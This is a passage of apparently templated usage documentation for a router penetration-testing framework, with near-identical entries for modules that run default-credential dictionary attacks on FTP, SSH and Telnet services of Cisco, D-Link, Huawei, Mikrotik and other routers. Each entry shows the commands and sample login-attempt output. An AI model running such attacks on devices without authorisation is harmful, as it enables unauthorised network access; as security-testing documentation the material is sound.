FILE: docs/modules/creds/routers/cisco/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Cisco Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/cisco/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/cisco/ssh_default_creds
rsf (Cisco Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/cisco/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Cisco Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/cisco/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/cisco/telnet_default_creds
rsf (Cisco Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Cisco Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/comtrend/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Comtrend Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/comtrend/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/comtrend/ftp_default_creds
rsf (Comtrend Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Comtrend Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/comtrend/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Comtrend Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/comtrend/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/comtrend/ssh_default_creds
rsf (Comtrend Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Comtrend Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/comtrend/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Comtrend Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/comtrend/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/comtrend/telnet_default_creds
rsf (Comtrend Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Comtrend Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/dlink/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against D-Link Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/dlink/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/dlink/ftp_default_creds
rsf (D-Link Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/dlink/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against D-Link Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/dlink/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/dlink/ssh_default_creds
rsf (D-Link Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/dlink/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against D-Link Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/dlink/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/dlink/telnet_default_creds
rsf (D-Link Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (D-Link Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/fortinet/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Fortined Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/fortinet/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/fortinet/ftp_default_creds
rsf (Fortinet Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Fortinet Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/fortinet/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Fortinet Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/fortinet/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/fortinet/ssh_default_creds
rsf (Fortinet Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Fortinet Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/fortinet/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Fortinet Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/fortinet/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/fortinet/telnet_default_creds
rsf (Fortinet Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Fortinet Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/huawei/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Huawei Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/huawei/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/huawei/ftp_default_creds
rsf (Huawei Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Huawei Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/huawei/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Huawei Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/huawei/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/huawei/ssh_default_creds
rsf (Huawei Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Huawei Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/huawei/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Huawei Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/huawei/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/huawei/telnet_default_creds
rsf (Huawei Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Huawei Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/ipfire/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against IPFire Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/ipfire/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/ipfire/ftp_default_creds
rsf (IPFire Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IPFire Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/ipfire/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against IPFire Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/ipfire/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/ipfire/ssh_default_creds
rsf (IPFire Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IPFire Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/ipfire/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against IPFire Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/ipfire/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/ipfire/telnet_default_creds
rsf (IPFire Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (IPFire Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/juniper/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Juniper Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/juniper/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/juniper/ftp_default_creds
rsf (Juniper Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Juniper Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/juniper/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Juniper Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/juniper/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/juniper/ssh_default_creds
rsf (Juniper Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Juniper Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/juniper/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Juniper Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/juniper/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/juniper/telnet_default_creds
rsf (Juniper Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Juniper Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/linksys/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Linksys Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/linksys/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/linksys/ftp_default_creds
rsf (Linksys Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/linksys/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Linksys Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/linksys/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/linksys/ssh_default_creds
rsf (Linksys Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/linksys/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Linksys Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/linksys/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/linksys/telnet_default_creds
rsf (Linksys Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Linksys Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/mikrotik/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Mikrotik Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/mikrotik/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/mikrotik/ftp_default_creds
rsf (Mikrotik Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/mikrotik/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Mikrotik Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/mikrotik/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/mikrotik/ssh_default_creds
rsf (Mikrotik Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
